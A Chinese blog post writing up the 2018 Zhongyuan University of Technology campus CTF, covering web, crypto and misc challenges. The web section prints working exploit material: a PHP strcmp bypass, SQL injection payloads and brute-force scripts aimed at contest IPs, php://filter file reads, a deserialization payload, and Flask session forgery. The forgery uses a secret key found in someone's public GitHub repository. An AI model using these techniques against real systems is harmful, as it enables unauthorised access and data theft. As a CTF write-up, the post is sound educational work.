2018中原工學(xué)院網(wǎng)絡(luò)安全校賽

趁著周日沒事,去瞅一波別人家的校賽。。。emmm,,,,,,

WEB

web1簽到

打開后是他們團(tuán)隊(duì)的一個(gè)宣傳主頁,不能右鍵,以為像往常的題一樣,看下源代碼就行了,結(jié)果啥也沒有

然后瞅了一眼響應(yīng)頭,發(fā)現(xiàn)問題了


image.png

打開txt后是PHP代碼

<?php
$flag = "***";
if (isset($_GET['repo'])) {  
    if (strcmp($_GET['repo'], $flag) == 0) 
        die('Flag: '.$flag);  
    else  
        print 'No';  
}

題目要求讓repo與flag字符串相等就輸出flag,顯然不可能,因?yàn)椴恢纅lag是多少,知道了也不做了,,emm
乍看也算是個(gè)比較嚴(yán)密的驗(yàn)證邏輯,strcmp()函數(shù)也只能處理字符串參數(shù),傳個(gè)數(shù)組進(jìn)去就能返回false,又由于它與0的比較用的是==而非===(允許類型轉(zhuǎn)換后比較),就滿足了這個(gè) if 的條件。Payload:?repo[]=a

婉兒(sql)

這題出來就是注入提示


image.png

嘗試了一番很多關(guān)鍵字都被過濾了,=、union、database()都不能用,一般的注入都不行,就嘗試盲注了
smile大菜雞給的payload:
39.108.109.85:9001?id=1%26%26if(((select schema_name from information_schema.SCHEMATA limit 0,1) regexp 'c'),sleep(5),1) #
然后


image.png

看到有報(bào)錯(cuò),嘗試用腳本去跑數(shù)據(jù)庫,跑出來的不對(duì),結(jié)果提交不對(duì),可能腳本錯(cuò)了,沒跑全,直到最后結(jié)束,
image.png

什么鬼?這不就是


image.png

payload直接就出庫了,,,醉了,,
然后各路神仙的騷套路
id=1 or exp(~id)


image.png

id=1 or linestring(id)
image.png

id=if(exp(~id),1,2),,,類似的if(payload,1,2)都可以

附上腳本,這個(gè)可以跑全

import requests

flag = ""
payload = "select group_concat(schema_name) from information_schema.schemata"
for i in range(1,50):
    for j in "qazxswedcvfrtgbnhyujmkiolp1234567890@,!+_":
        url = f"http://39.108.109.85:9001/?id=if(mid(({payload}),{i},1) regexp '{j}',1,2)"
        r = requests.get(url)
        if "Your id is 1" in r.text:
            flag += j
            break
    print(flag)
image.png

快一點(diǎn)

代碼審計(jì)

 <?php

include 'flag.php';
if(isset($_GET['t'])){
    $_COOKIE['bash_token'] = $_GET['t'];
}else{
    die("You need get a 't'");
}
if(isset($_POST['sleep'])){
    if(!is_numeric($_POST['sleep'])){              
                                      
        echo 'Gime me a number plz.';
    }else if($_POST['sleep'] < 60 * 60 * 24 * 30 * 2){   
        echo 'NoNoNo sleep too short.';
    }else if($_POST['sleep'] > 60 * 60 * 24 * 30 * 3){
        echo 'NoNoNo sleep too long.';
    }else{
        sleep((int)$_POST['sleep']);  
        getFlag();
    }
}else{
    highlight_file(__FILE__);
}
?> 

題目要求sleep是個(gè)數(shù)字,并在2592000和7776000之間,然后sleep這么長(zhǎng)時(shí)間,給出flag。
這題主要考察is_numeric()和int()的區(qū)別。前者支持普通數(shù)字型、科學(xué)記數(shù)法型、部分支持十六進(jìn)制0x型,在is_numeric()支持的形式中,int()不能正確轉(zhuǎn)換十六進(jìn)制型、科學(xué)計(jì)數(shù)法型。
因此可以構(gòu)造6e6、0x4F1A01。

文件上傳

想到文件上傳,就想到一句話上傳文件,然后getshell,常規(guī)套路,然后無非就是一些waf的繞過
沒想到這題真狗啊,沒fuzz,,,,
常規(guī)的不能上傳php,等文件,可以上傳圖片,也可以繞過前端抓包上傳帶有一句話的圖片,但結(jié)果過上傳啥都顯示一句上傳成功,沒路徑,怎么getshell??


image.png
image.png

沒路徑,就一個(gè)js彈窗。。。
結(jié)束后出題人說的pht
真狗啊,上傳pht都可以了


image.png

雖然出的題不難,,但是我不會(huì),,,2333真香,,,,不得不說出題人都很有心思啊tql

admin

打開題后,提示不是admin
然后查看源代碼


image.png

這里利用到了php偽協(xié)議,否則無法的到admin,讀取文件。。

if(isset($user)&&(file_get_contents($user,'r')==="admin"))

如何讓file_get_contents($user,'r')==="admin"呢?
用php的封裝協(xié)議php://input,因?yàn)閜hp://input可以得到原始的post數(shù)據(jù):

image.png

這樣便得到了admin的權(quán)限
然后讀取class.php文件,這里用到php的另一個(gè)封裝協(xié)議:php://filter
利用這個(gè)協(xié)議就可以讀取任意文件了
利用方法:php://filter/convert.base64-encode/resource=index.php
這里把讀取到的index.php的內(nèi)容是base4的格式

image.png

解密的源碼

<?php
error_reporting(0);
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    if(preg_match("/flag/",$file)){
        exit();
    }else{
        include($file); //class.php
        $pass = unserialize($pass);
        echo $pass;
    }
}else{
    echo "you are not admin ! ";
}
 
?>
 
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
 -->

然后讀class.php

<?php
error_reporting(0);
 
class Read{//flag.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?> 

有源碼來看這是一道反序列化題
構(gòu)造序列化字符串然后傳進(jìn)去讀取flag,因?yàn)樗^濾了flag不能直接讀取

class Read{//flag.php
    public $file='php://filter/read=convert.base64-encode/resource=flag.php';
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
$pass=new Read()

echo serialize($pass);

payload:

?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

post: admin
image.png

解密后得到flag

留言板

這題不會(huì),膜一波官方wp
剛開始做了很長(zhǎng)時(shí)間沒找到思路,
只知道test,user兩個(gè)號(hào)能登陸,不過是普通用戶,沒卵用


image.png

看到session后覺著這里能利用,解壓前面的base64后,


image.png

突然想到換成admin去利用,不過這里不存在的,沒私鑰不可能登admin
基本放棄,后來官方給了提示,圖片地址很關(guān)鍵。。。


image.png

看了下圖片地址
https://raw.githubusercontent.com/alipql/tuku/master/8856eac7gy1fkmf2o66yyj205k05kq2z.jpg可以發(fā)現(xiàn)alipql這個(gè)人的github倉庫: https://github.com/alipql 在homework這個(gè)庫里面的homework2中可以找到一個(gè)非空的config.py配置文件:

#!/usr/bin/env python3
# coding=utf-8
import os


class Config():
    BaseDir = os.path.abspath(os.path.dirname(__file__))
    DB_FILE = os.path.join(BaseDir, 'dbfile.sql')
    SQLALCHEMY_DATABASE_URI = 'sqlite:///' + DB_FILE
    SQLALCHEMY_TRACK_MODIFICATIONS = True
    SQLALCHEMY_COMMIT_ON_TEARDOWN = True
    SECRET_KEY = 'dropseckey123'


config = {
    'default': Config
}

從config.py配置文件中可得到secert_key、sql數(shù)據(jù)庫類型。
真是一波社工操作
拿到secert_key后,利用它進(jìn)行flask的session偽造
腳本
偽造session exp:https://github.com/noraj/flask-session-cookie-manager

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Lib for argument parsing
import argparse

# Description for help
parser = argparse.ArgumentParser(
            description='Flask Session Cookie Decoder/Encoder',
            epilog="Author : Wilson Sumanang, Alexandre ZANNI")

# prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

# create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                            help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                            help='Session cookie structure', required=True)

# create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                            help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                            help='Session cookie value', required=True)

# get args
args = parser.parse_args()

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


def session_cookie_encoder(secret_key, session_cookie_structure):
    """ Encode a Flask session cookie """
    try:
        app = MockApp(secret_key)

        session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
        si = SecureCookieSessionInterface()
        s = si.get_signing_serializer(app)

        return s.dumps(session_cookie_structure)
    except Exception as e:
        return "[Encoding error]{}".format(e)


def session_cookie_decoder(session_cookie_value, secret_key=None):
    """ Decode a Flask cookie  """
    try:
        if(secret_key==None):
            compressed = False
            payload = session_cookie_value

            if payload.startswith(b'.'):
                compressed = True
                payload = payload[1:]

            data = payload.split(".")[0]

            data = base64_decode(data)
            if compressed:
                data = zlib.decompress(data)

            return data
        else:
            app = MockApp(secret_key)

            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)

            return s.loads(session_cookie_value)
    except Exception as e:
        return "[Decoding error]{}".format(e)


if __name__ == "__main__":
    # find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(session_cookie_encoder(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(session_cookie_decoder(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(session_cookie_decoder(args.cookie_value))

然后利用腳本去測(cè)試一下已知的test,可通過登錄用戶時(shí)返回的session驗(yàn)證SECRETKEY是否正確

image.png

可以利用,然后去偽造admin的session


image.png

這倆是登陸后的session去偽造,都一樣可以用


image.png

image.png

替換掉session,即可成功登錄到admin賬戶獲取管理權(quán)限。


image.png
image.png

可以看到admin的加密密碼是不存在的,所以爆破也是不可能的。從這可以得到一個(gè)tip,存在一個(gè)flag表和flag字段。

delete布爾盲注

對(duì)添加用戶功能和刪除用戶功能稍微一測(cè)試,會(huì)發(fā)現(xiàn)刪除用戶功能是存在注入的,是delete的注入。從config.py的信息泄露中可以知道數(shù)據(jù)庫為sqlite,導(dǎo)致很多函數(shù)不能用;由于又是個(gè)delete方式,導(dǎo)致很多姿勢(shì)用不上。

在這里輕微fuzz一下可發(fā)現(xiàn)只過濾了drop、update、delete等部分刪表刪flag改flag的關(guān)鍵字,而and、substr、selete、from、空格等未過濾,參數(shù)為單引號(hào)包裹,所以可組合一個(gè)payload:

' and substr((select flag from flag),1,1)=='f

先增加用戶,在刪除用戶時(shí)提交payload再進(jìn)行布爾判斷即可盲注flag。 例如增加111用戶后再刪除用戶111


image.png

image.png

成功刪除用戶,返回包不存在111,說明flag第一個(gè)字母為f。若改為
usernamedel=111' and substr((select flag from flag),1,1)=='0

image.png

顯示成功刪除卻依然存在111用戶,沒刪除用戶,說明第一位不為0,然后接下來寫腳本去跑就行了

#!/usr/bin/env python3

# coding=utf-8

import requests
class sqliexp:
    def __init__(self):
        self.url = 'http://172.93.39.218:8888/admin'
        self.session = 'eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sIm5hbWUiOiJhZG1pbiJ9.XB-iXg.PURonzshjlDsEvsXYZ24YyuAgI4'
        self.flag = ''

    #增加111用戶
    def adduser(self):
        cookies = {'session':self.session}
        data = {'username':'111','password':'111'}
        try:
            requests.post(url=self.url, cookies=cookies,data=data)
        except TimeoutError:
            exit(-1)
    def deluser(self,num):
        cookies = {'session':self.session}
        for strs in 'flag{}0123456789bcde':
            payload = "111' and substr((select flag from flag),%d,1)=='%s" % (num,strs)
            data = {'usernamedel':payload}
            try:
                response = requests.post(url=self.url,data=data,cookies=cookies)
                if '111' not in response.text:
                    self.flag += strs
                    return 1
            except TimeoutError:
                exit(-1)
if __name__ == '__main__':
    exp = sqliexp()
    for num in range(1,39,1):
        exp.adduser()
        exp.deluser(num)
        print(exp.flag)
image.png

另附腳本:

import requests

url = "http://172.93.39.218:8888/admin"
_cookies = {"session":"eyJuYW1lIjoiYWRtaW4ifQ.XB8bYA.JJ0tfi65cm3uS-ATDe9FNls4y_Y"}
flag = "flag{db"

for i in range(8,50):
    r= requests.post(url,cookies=_cookies,data={"username":"iv4n","password":"a"})
    for j in "1234567890qazxswedcvfrtgbnhyujmkiolp{}":
        r = requests.post(url,cookies=_cookies,data={"usernamedel":f"iv4n' and (select hex(substr(flag,{i},1)) from flag)=hex('{j}')-- -"})
        if "iv4n" not in r.text:
            flag += j
            break
    print(flag)

image.png

CYPTO

就給了一張圖,本來不知道什么加密,上面放了張海倫的圖,海倫是個(gè)盲人,盲文?(其實(shí)是問了學(xué)姐才知道的2333)

image.png

百度盲文表


image.png

然后對(duì)照是
kmdonowg
然后MD5加密得flag

MISC

中原工學(xué)院圖書館

這道隱寫題原來在windows下沒分出來,kali下binwalk可以分出來一個(gè)壓縮包,里面有txt文件,打開看
可以看到文件頭是png的,改為png

image.png
image.png
image.png

然后rot13

image.png
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 捉迷藏 題目url:http://218.76.35.75:20111/index.php 進(jìn)去之后查看源碼: 發(fā)...
    Pr0ph3t閱讀 1,759評(píng)論 0 2
  • 成績(jī)單 輸入1,2,3發(fā)現(xiàn)都會(huì)顯示不同的成績(jī)單,輸入4沒有東西,輸入1’沒有東西顯示,輸入1’#又有了,測(cè)試了一下...
    Glarcy閱讀 2,150評(píng)論 0 0
  • I 不斷聯(lián)系 如何維護(hù)好新朋舊識(shí)的關(guān)系,這是個(gè)系統(tǒng),必須要花精力在這上面。結(jié)交新朋的方法是:一、用最少三種以上的方...
    冰心小語閱讀 264評(píng)論 0 0

友情鏈接更多精彩內(nèi)容